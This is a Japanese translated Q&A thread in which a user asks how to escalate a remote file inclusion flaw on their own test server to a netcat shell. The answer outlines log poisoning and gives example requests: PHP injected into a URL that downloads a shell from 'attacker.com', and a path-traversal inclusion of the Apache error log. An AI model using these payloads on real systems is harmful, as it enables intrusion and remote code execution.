web-dev-qa-db-ja.com

リモートファイルインクルード用のWebサーバーの侵入テスト

教育目的で、リモートファイルインクルードの脆弱性がある(Windowsで実行されている)私のWebサーバーをテストしているところです。ページに表示されるipconfigのコマンド出力などの簡単なものはすでに取得できます。しかし、シェルがそのPHPコードをサーバーにアップロードして実行し、Kaliボックスに接続してnetcatリスナーを開くことができるかどうか疑問に思っていますか?何か案は?

乾杯!

4
dude

一般に、シェルをサーバーにアップロードするには2つの方法があります。

RFIを使用して実行PHPスクリプト

サーバーにシェルを配置するためのphpコードを含むテキストファイルを別のWebサーバーに配置し、このファイルを含めます。シェルは、さまざまな方法でサーバーに配置できます。

  • PHPのFTP/HTTP/...モジュールを使用してサーバーからシェルをダウンロードする
  • BASE64エンコードされたシェルを変数に配置し、デコードされたコンテンツをファイルに書き込みます

2番目のオプションは、その特定のサーバーにインストールされていないか、無効にされていない可能性があるモジュールに依存しないため、使用することをお勧めします。

RFIをLFIとして使用し、PHPコードを直接を実行します

ほとんどの場合、RFIの脆弱性を使用してローカルファイルを含めることもできます。そのため、LFIとして使用でき、役立つ場合があります。最初のステップでは、スクリプトを使用して、そのサーバーへのHTTP要求を実行します。 cURLを使用します。特定の文字をhtmlエンティティに変換したくないので...リクエストは次のようになります。

http://victim.com/i_dont_exist.php?code=<?php file_put_contents("Shell.php", file_get_contents("http://attacker.com/Shell.txt")) ?>

これはエラーログに書き込まれるため、これにより404エラーが発生します。被害者がApacheとデフォルトの設定を使用している場合、これは/var/log/Apache/error.logにあります。次に、RFIをLFIとして呼び出し、ログファイルを含め、PHPコードを実行します。次に例を示します。

http://victim.com/index.php?file=../../../../var/Apache/error.log

次に、PHPコードが実行され、シェルが配置されます。

// phpスクリプトを使用してnetcatセッションを開始するときに直面する問題は、スクリプトのタイムアウトです。 PHP Webサーバーを介して実行されるスクリプトには、プロセスが永久に実行されるのを防ぐためのタイムアウトがあります。これのデフォルト値は60秒だと思います。つまり、60秒後にバックコネクトが閉じられます。これが多くの理由ですハッカーは、マルウェアをApacheデーモンのスレッドとして実行することを望んでいません。

6
davidb